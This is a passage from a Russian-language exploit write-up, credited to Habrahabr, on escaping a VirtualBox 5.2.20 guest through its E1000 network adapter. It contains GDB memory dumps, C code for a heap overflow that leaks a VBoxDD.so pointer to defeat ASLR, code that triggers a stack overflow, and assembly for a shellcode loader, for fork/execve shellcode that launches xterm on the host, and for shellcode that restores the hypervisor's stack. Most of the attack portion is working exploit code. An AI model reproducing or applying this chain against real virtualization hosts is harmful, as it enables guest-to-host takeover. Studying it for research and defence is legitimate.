            *pu32 = pThis->au8SMBusBlkDat[pThis->u8SMBusBlkIdx];
            pThis->u8SMBusBlkIdx++;
            pThis->u8SMBusBlkIdx &= sizeof(pThis->au8SMBusBlkDat) - 1;
            break;
...

Когда гостевая ОС исполняет процессорную инструкцию INB с аргументом 0×4107 для чтения одного байта из порта, обработчик берёт байт из массива au8SMBusBlkDat[32] по индексу u8SMBusBlkIdx и возвращает его гостю. Здесь-то и появляется возможность применения write-примитива: поскольку расстояние между блоками кучи для виртуальных устройств не меняется, расстояние от массива EEPROM93C46.m_au16Data до поля ACPIState.u8SMBusBlkIdx фиксированно. Записывая два байта в ACPIState.u8SMBusBlkIdx, мы можем читать произвольные байты на расстоянии 255 байт относительно ACPIState.au8SMBusBlkDat.

Проблема в другом. Если посмотреть на структуру ACPIState, то видно, что массив находится почти в конце структуры, и за ним лежат разве что поле u8SMBusBlkIdx и несколько других полей, совершенно бесполезных для нас. Выходит, что читать из структуры ACPIState мы можем, да нечего. Ну, нам не привыкать, поэтому посмотрим, что лежит в памяти за пределами структуры.

gef➤  x/16gx (ACPIState*)(0x7fc47008be70+0x100)+1
0x7fc47008d4e0: 0xffffe98100000090  0xfffd9b2000000000
0x7fc47008d4f0: 0x00007fc470067a00  0x00007fc470067a00
0x7fc47008d500: 0x00000000a0028a00  0x00000000000e0000
0x7fc47008d510: 0x00000000000e0fff  0x0000000000001000
0x7fc47008d520: 0x000000ff00000002  0x0000100000000000
0x7fc47008d530: 0x00007fc47008c358  0x00007fc44d6ecdc6
0x7fc47008d540: 0x0031000035944000  0x00000000000002b8
0x7fc47008d550: 0x00280001d3878000  0x0000000000000000
gef➤  x/s 0x00007fc44d6ecdc6
0x7fc44d6ecdc6: "ACPI RSDP"
gef➤  vmmap VBoxDD.so
Start                           End                             Offset                          Perm Path
0x00007fc44d4f3000 0x00007fc44d768000 0x0000000000000000 r-x /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d768000 0x00007fc44d968000 0x0000000000275000 --- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d968000 0x00007fc44d977000 0x0000000000275000 r-- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d977000 0x00007fc44d980000 0x0000000000284000 rw- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
gef➤  p 0x00007fc44d6ecdc6 - 0x00007fc44d4f3000
$2 = 0x1f9dc6

Оказывается, по смещению 0×58 от конца структуры ACPIState лежит указатель на строку, которая находится по определённому RVA от базы VBoxDD.so. Если мы побайтово с помощью примитивов считаем этот указатель и вычтем из него константу, то получим базовый адрес VBoxDD.so и таким образом обойдём ASLR. Единственное, на что нам приходится надеяться, так это на то, что память за пределами структуры ACPIState не будет разной при каждом запуске виртуальной машины. К счастью, так оно и оказалось, по смещению 0×58 от конца ACPIState всегда лежит нужный указатель.


Information Leak

Теперь мы комбинируем две созданные нами уязвимости и эксплуатируем их для обхода ASLR. Будем переполнять кучу, перезаписывая структуру EEPROM93C46, затем стриггерим код EEPROM для записи индекса в структуру ACPIState, после чего выполним процессорную инструкцию INB (0×4107) для обращения к ACPI и чтения одного байта указателя. Всё это повторим восемь раз, каждый раз увеличивая индекс на единицу.

uint64_t stage_1_main(void* mmio, void* tx_ring) {
    printk(KERN_INFO PFX"##### Stage 1 #####\n");

    // When loopback mode is enabled data (network packets actually) of every Tx Data Descriptor 
    // is sent back to the guest and handled right now via e1kHandleRxPacket.
    // When loopback mode is disabled data is sent to a network as usual.
    // We disable loopback mode here, at Stage 1, to overflow the heap but not touch the stack buffer
    // in e1kHandleRxPacket. Later, at Stage 2 we enable loopback mode to overflow heap and 
    // the stack buffer.
    e1000_disable_loopback_mode(mmio);

    uint8_t leaked_bytes[8];
    uint32_t i;
    for (i = 0; i < 8; i++) {
        stage_1_overflow_heap_buffer(mmio, tx_ring, i);
        leaked_bytes[i] = stage_1_leak_byte();

        printk(KERN_INFO PFX"Byte %d leaked: 0x%02X\n", i, leaked_bytes[i]);
    }

    uint64_t leaked_vboxdd_ptr = *(uint64_t*)leaked_bytes;
    uint64_t vboxdd_base = leaked_vboxdd_ptr - LEAKED_VBOXDD_RVA;
    printk(KERN_INFO PFX"Leaked VBoxDD.so pointer: 0x%016llx\n", leaked_vboxdd_ptr);
    printk(KERN_INFO PFX"Leaked VBoxDD.so base: 0x%016llx\n", vboxdd_base);

    return vboxdd_base;
}

Как было сказано ранее, для того, чтобы уязвимость integer underflow не привела к stack buffer overflow, нужно определённым образом настроить регистры E1000. Суть в том, что буфер переполняется в функции e1kHandleRxPacket, которая вызывается при обработке Tx-дескрипторов только тогда, когда включен loopback-режим. И это понятно: в данном режиме гость отправляет пакеты самому себе, поэтому после отправки они сразу же принимаются. Мы отключаем этот режим, поэтому функция e1kHandleRxPacket становится недостижима.


Обход DEP

Мы обошли ASLR. Теперь можно включать loopback-режим и триггерить уязвимость stack buffer overflow.

void stage_2_overflow_heap_and_stack_buffers(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
    off_t buffer_pa;
    void* buffer_va;
    alloc_buffer(&buffer_pa, &buffer_va);

    stage_2_set_up_buffer(buffer_va, vboxdd_base);
    stage_2_trigger_overflow(mmio, tx_ring, buffer_pa);

    free_buffer(buffer_va);
}

void stage_2_main(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
    printk(KERN_INFO PFX"##### Stage 2 #####\n");

    e1000_enable_loopback_mode(mmio);
    stage_2_overflow_heap_and_stack_buffers(mmio, tx_ring, vboxdd_base);
    e1000_disable_loopback_mode(mmio);
}

Теперь, когда управление доходит до последней инструкции функции e1kHandleRxPacket, на стеке перезаписан адрес возврата, так что управление будет передано туда, куда угодно нам. Но защита DEP всё ещё на месте. Она обходится классическим способом построения цепочки ROP-гаджетов, которые выделяют исполняемую память, копируют в неё загрузчик шеллкода и вызывают его.


Шеллкод

Загрузчик шеллкода предельно прост. Он копирует начало буфера, который вызвал переполнение, и кладёт рядом с собой. В конце того буфера лежат адреса и данные для ROP-гаджетов, а в начале — сам шеллкод.

use64

start:
    lea rsi, [rsp - 0x4170];
    push rax
    pop rdi
    add rdi, loader_size
    mov rcx, 0x800
    rep movsb
    nop

payload:
    ; Here the shellcode is to be

loader_size = $ - start

Теперь управление получает шеллкод. Вот его первая половина:

use64

start:
    ; sys_fork
    mov rax, 58
    syscall

    test rax, rax
    jnz continue_process_execution

    ; Initialize argv
    lea rsi, [cmd]
    mov [argv], rsi

    ; Initialize envp
    lea rsi, [env]
    mov [envp], rsi

    ; sys_execve
    lea rdi, [cmd]
    lea rsi, [argv]
    lea rdx, [envp]
    mov rax, 59
    syscall

...

cmd     db '/usr/bin/xterm', 0
env     db 'DISPLAY=:0.0', 0
argv    dq 0, 0
envp    dq 0, 0

Делается fork и execve, что создаёт новый процесс /usr/bin/xtem. Атакующий получает контроль над хостом в контексте ring 3.


Process Continuation

Я считаю, что каждый эксплоит должен быть дописан до конца. Это значит, что он не должен крашить программу, хотя понятно, что не всегда это возможно. Нам нужно, чтобы виртуальная машина могла продолжать функционировать, что обеспечивается второй половиной шеллкода.

continue_process_execution:
    ; Restore RBP
    mov rbp, rsp
    add rbp, 0x48

    ; Skip junk
    add rsp, 0x10

    ; Restore the registers that must be preserved according to System V ABI
    pop rbx
    pop r12
    pop r13
    pop r14
    pop r15

    ; Skip junk
    add rsp, 0x8

    ; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
    ; Before:   "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
    ; After:    "E1000-Xmit" -> NULL

    ; Zero out the entire PDMQUEUE "Mouse_1" pointed by "E1000-Rcv"
    ; This was unnecessary on my testing machines but to be sure...
    mov rdi, [rbx]
    mov rax, 0x0
    mov rcx, 0xA0
    rep stosb

    ; NULL out a pointer to PDMQUEUE "E1000-Rcv" stored in "E1000-Xmit"
    ; because the first 8 bytes of "E1000-Rcv" (a pointer to "Mouse_1") 
    ; will be corrupted in MMHyperFree
    mov qword [rbx], 0x0

    ; Now the last PDMQUEUE is "E1000-Xmit" which will not be corrupted

    ret

Суть в том, что при переполнении буфера на стеке мы перезаписали много данных, необходимых гипервизору для функционирования при возврате из функции e1kHandleRxPacket. Поскольку нет ни шансов, ни целесообразности вычислять все данные, которые были перезаписаны ROP-гаджетами, мы сделаем то, что обычно и делается: прыгнем на несколько фреймов вверх и продолжим исполнение, как будто все вызванные функции уже завершились.
Схематично стек вызовов при возврате из e1kHandleRxPacket выглядит так:

#0 e1kHandleRxPacket
#1 e1kTransmitFrame
#2 e1kXmitDesc
#3 e1kXmitPacket
#4 e1kXmitPending
#5 e1kR3NetworkDown_XmitPending
...

Из шеллкода будем прыгать прямо в e1kR3NetworkDown_XmitPending, которая больше ничего не делает и возвращает управление вызвавшей её функции гипервизора:

static DECLCALLBACK(void) e1kR3NetworkDown_XmitPending(PPDMINETWORKDOWN pInterface)
{
    PE1KSTATE pThis = RT_FROM_MEMBER(pInterface, E1KSTATE, INetworkDown);
    /* Resume suspended transmission */
    STATUS &= ~STATUS_TXOFF;
    e1kXmitPending(pThis, true /*fOnWorkerThread*/);
}

Шеллкод добавляет 0×48 к регистру RBP, чтобы он стал таким, каким должен быть в функции e1kR3NetworkDown_XmitPending. Теперь со стека

© Habrahabr.ru